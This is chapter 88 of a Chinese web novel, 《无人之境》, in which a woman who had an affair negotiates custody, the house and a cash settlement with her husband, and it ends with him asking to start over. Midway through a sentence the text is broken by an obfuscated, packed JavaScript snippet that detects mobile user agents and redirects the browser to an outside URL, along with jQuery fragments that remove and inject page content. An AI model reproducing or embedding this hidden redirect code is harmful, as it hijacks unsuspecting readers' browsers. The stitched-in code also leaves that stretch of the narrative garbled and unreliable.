88.第 88 章

作品:《无人之境

    季舒不会逃避,但心里并没有她表现得那么淡定。


    方恺说要开车送她,但她拒绝了。这是她和何烨的事情,始终是要她独自面对的。


    直到走进小区,她都没有想好,这到底该怎么谈。在家庭中,她特别不愿意为了争夺利益而争吵,她也从不是个锱铢必较的人。母亲曾经不是没有教过她,要先花他的钱,自己的钱存起来。她只觉得那是算计太过,家用那些小钱也算不上什么,为小孩花钱她更是心甘情愿。


    相处多年,说到底,是她做错了事,给他带来了伤害。而他要替她瞒下真相,不让孩子知道这件事,她应该给出补偿。


    打开门时,短短两日,看着玄关处的陈设,季舒都有些恍惚。仿佛沉睡已久,从梦中惊醒时,她已不知今夕。


    她提着包,走了进去。


    何烨已经在客厅等待,如那天一样,他坐在沙发上抬起头看她。只不过这是白日,还是个晴天。早先一阵太阳出来过,此时天又有些灰蒙蒙的,大概是被云给遮挡住了。


    她还是那天离开时的那身衣服,手中拎着的是一只黑色的包。包容量颇大,足以放下电脑,边角已有磨损。他记得,这只包是她出差时买回来的,已有些年头。


    她很准时,甚至是习惯性地提早了十分钟。她站着没有动弹,何烨此时倒更像是家的主人,“坐。”


    季舒坐在了沙发的另一侧,看到茶几上的橙子皮,她下意识伸出了手,可察觉到自己的行为后,她还是将果皮丢到了垃圾桶中。


    这是她颇为珍惜的房子,她不想它变得凌乱。


    “小孩怎么样?这么突然地送他回去,他不会觉得奇怪吗?”


    他语气平静,都像是寻常的聊天,季舒同样平静地回了他,“他只顾着玩,他也就过年能回去放纵下。”


    “本来,我们该一起回去的。”何烨看着她,“你这两天在哪儿的?”


    “你想听到什么答案?”


    何烨忽然笑了,“对你来说,是不是正好?如果我没有发现,你也没法这么光明正大地跟他在一起?你心里,早就没有这个家了吧。”


    就算那天是不欢而散,此时面对他,季舒仍是愧疚的。他的嘲讽,在她可承受范围以内,但她并没有解释什么。


    她是沉默着的,何烨知道她已有决断,但他又始终无法相信,她竟然会离开自己、离开这个家。他问了她,“你决定好了吗?”


    如果一定要诚实,她的决定里,是80%的想要,和20%的犹豫。旧有的一切,总是有着强大的惯性,让人恐惧失去、抗拒变化。


    直到此刻,她要说出“决定好了”时,才能深刻理解,人为什么会无法挣脱环境,又为什么会在离开的边缘功败垂成。


    季舒点了头,“嗯,决定好了。”


    期待的心终于了断,她的决定,又不啻是一巴掌,打在了自己脸上。何烨站起身,倒了杯水,坐下前,他垂下眼眸看着她,“说说你的决定。”


    没有任何协议文件,也不会说出太过专业的条款规则,季舒简明扼要地跟他说了她给出的条件。


    她要孩子抚养权和房子,她会给出现金补偿。


    她对房子有执念,这是自己花了诸多心力的家,是她的安全感来源之一。骤然失去,她很难不觉得自己居无定所,即使可以租房,即使能让她的现金流能更宽裕些。


    给出的现金补偿,她认为自己已算得上大方。她是过错方,想要在孩子面前做个好人,更不想闹得难堪。他是孩子的父亲,她希望他和他的家人,仍能一如既往地爱孩子。


    她没有谈判技巧,说完后就看着他,等待着他的回应。


    他没有表情,也看不出情绪,甚至连急于开口的冲动都没有。看着这样心理素质一流的他,季舒想起了大学里初识时的他。那时候,不论面对何种情形,他都没多少情绪,能以无比淡然的态度对待。


    她知道,聪明如他,会了解自己的性格;而她,却是无法精准地抓住他的弱点,更是不知他到底最在乎什么。反正他最在乎的,不是她,也不是孩子。


    考虑了许久,何烨看向了她,“在现金分配上,我不认为这是合理的数字。”


    提出不同意见,是正常的,可季舒内心无法不震惊,她仍是淡定地开了口,“我认为这很合理,这是更偏向于你的分配。”


    “那就没得谈。”


    他回答得很干脆,全然不怕谈崩,更是有底气拒绝。季舒问了他,“那你觉得,多少才是合理的?”


    何烨没有再思考,直接给出了一个数字,又是一个字都没有多说,只等着她的回应。


    听到数字时,季舒呼吸停滞了两秒,再看着他这张淡定的脸时,她却是无法将眼前的人,和她认识的他联系起来,无比陌生。


    狮子大开口,是说出一个夸张而无法满足的要求。


    他不是,他提的数字,是她可以满足的。然而,那也是她几乎全部的积蓄。


    季舒无法置信,他怎么就能把自己的帐算到这个地步,又是以如此轻松的姿态讲出来。她忍耐着想压下情绪,但那一口气,她又是无法压下。


    她没有发怒,也没有嘶声力竭,只是很平静地开口问了他,“你觉得,我赚钱很容易吗?”


    何烨没有回答她的问题,“那你可以不接受。”


    “回答我,你是不是觉得我赚钱很容易?”季舒盯着他,他没有讲话,她忽然吼了他,“回答我啊!”


    “是你来跟我谈的,冷静一点。”


    熟悉的眼神,他总是觉得她太过强势,当她情绪失控时,他总是用这样冷静的眼神看着她,她都分不清,那是无奈,还是对她的不屑。他是高高在上能掌管自己情绪的神,而她是易怒易暴躁的凡夫俗子。


    在她盛怒之时的冷静,只想让她变成个疯子。就算他们就要分开,她不必在乎他的态度,可她仍有抄起水杯砸向他的冲动。


    每一次他露出这样的眼神,她都有过不下去的念头。但每一次,她都忍了。一句话而已,他就是这样的性格,没什么的。


    气血冲上头,她想不顾一切地质问他,你有没有心,我赚钱没那么容易,你难道不知道吗?你为什么能这么逼我?我那么累,赚的钱,你是没把我当人看吗?


    身体在轻微抖动着,季舒没有开口,硬是将自己从情绪崩溃边缘拉回来。她不想算他的帐,这些质问,同样是对自己的拷问,她为什么可以一直忍耐着。


    好一会儿之后,季舒才平复下来,她问了他,“这是你觉得合理的数字是吗,是你的最终结果吗?”


    “这不算多,他都付不起吗?”


    “那就是你的最终结果了,我不再接受任何的新条件。”


    季舒了解他,他既能算准自己可以拿得出的钱,就不会再松口,也毫无谈的空间。她决断迅速,“那我答应了。如果你之后有任何的反复,那这个条件都不会存在,我们该怎么办就怎么办。”


    “好。”何烨看着她,“你真的能带好小孩吗?是要小孩和你的新男友一起住吗?你出差的时候,让他们单独相处吗?浩哲可以接受吗?”


    面对他一连串的问题,他作为孩子父亲,有资格提出这些质疑,季舒此时给不出详细的解决方案,但仍心平气和地回答了他,“你提的问题很合理,是我需要去考虑的点。不过,我有能力解决这些问题,我也一定会考虑孩子的感受。”


    她说话已是公事公办的口吻,何烨并不习惯这样的她,“你能给孩子多少时间?之前你有时间,都不会陪伴孩子,而是去陪另一个人。之后呢?难道你会抽出更多时间给孩子?”


    “你的意思是,我需要把工作和睡觉以外的时间,都花在孩子身上是吗?”


    “如果你的时间花得那么坦荡,那你又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844369|176370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在怕什么?那你敢告诉他,你宁可私会情人,都不愿意给他更多陪伴吗?他只能得到你周末的半天时间,那个人呢?”


    季舒被他这句话反复灼伤过,这两天,她时不时就想起这句指责,方才被她强压下的怒火,又蹿了上来。


    “什么叫就周末半天?我已经把我最完整的时间给了他。其他留给我自己的,都是零碎的,你还想要我怎么陪孩子?”季舒终于对他吼了出来,“我不是人吗?我不可以有我自己的时间吗?我不能有朋友吗?我不能想自己呆着吗?你凭什么要求我把所有时间都给小孩?我做不到,知道吗?”


    说完时,声带震动太剧烈,她的嗓子都有些痛,他没有说一句话,也幸好他是闭嘴的。发出的火,必须要有能力收住,她提醒着自己今日之行的目的,她说出的话做出的事,必须为目的服务。


    “你的条件,已经是我的底线,我给不出更多了。是我的错,谢谢你愿意帮我,为我保有更多的尊严。”吼完后的嗓子有些沙哑,慢下的语速,让季舒的开口都显得温和,“其实我没有办法约束你,你之后要是告诉了孩子,我也是一点办法都没有的。但我愿意赌一下人性,面对承诺和孩子,你会有基本的底线。”


    何烨冷笑了下,“别给我戴高帽,都是人,人性没法赌。不然你怎么会背叛婚姻、欺骗孩子?”


    “即使你最终还是会跟孩子讲,我对孩子,也没那么多愧疚了。我努力过了,也付出代价了。结果并不在我掌控范围内。”


    “你对孩子的爱,是有价码的吗?”


    “如果你非要这么理解,那爱就是有价码的。”


    “那你跟他在一起,是他给你更多的价码吗?”何烨看着她问,“你为什么只提孩子,不提对我的背叛,对婚姻承诺的违背?你在背叛我的时候,有想到你会伤害我吗?”


    看着他眼神中的刺痛,季舒说不出话。她知道,他会受伤,是她无法弥补的伤害。即使自己曾独自承受过很多痛,但这不能相抵。太知道痛是何种滋味,她不会去比较。


    是夫妻时,不论面对何种困难,她都会一同承担。


    分道扬镳之时,她只能旁观他独自承受因她而带来的痛苦,连一句安慰都给不出。她对他,剩下的仅有最基本的善意。


    “对不起。”


    “你不觉得这么讲很虚伪吗?”


    “不论我们之间发生过什么,我都希望我们能和平相处,不要让孩子为难。我仍然奢侈地希望,他能和以前一样快乐,不会因为我们的分开有太大的变化。”


    他没有回答,今天的事情已经谈完,她也再无法去回应他的痛苦。又陪他坐了两分钟后,季舒站起了身,“还是想谢谢你帮我,我还有点事,就先走了。”


    被云层遮住的太阳,又被放了出来,再次照进客厅时,落在站起的她身上,她浑身都像是在发光。


    那一瞬,许多个片段涌进了他的脑海。


    在大学里,她没考好,他带了她去买冰淇淋。闷热的初夏,他走在前头,她走得很慢,他停下回头等她时,一阵风吹来,将她的发丝吹得拂动,她正啃着冰淇淋,鼻头还被蘸了一处白。刚才还在哭鼻子的她,看见他回头,却是对自己笑了。


    在婚礼上,穿着婚纱的她很美,被她父亲牵着向自己一步步走来,她父亲要放手时,她咬住了唇,那是她难过得想哭的征兆,但她忍住了。他牵过她的手时,她仍是在忍着不哭。直到最后宣誓时,她哭了出来。


    搬进新家的时候,她在阳台看着风景,说我终于有自己的房子了。他笑着从身后抱住她,说是我们的房子,你怎么把我给漏了。


    何烨还是无法相信,她再无法陪伴自己了,不论遇到什么事,他也再没有一个可以给他坚实依靠的她了。直到此刻,他才明白,自己到底失去了什么。


    他拉住了她的手,“小舒,我们还能再开始吗?”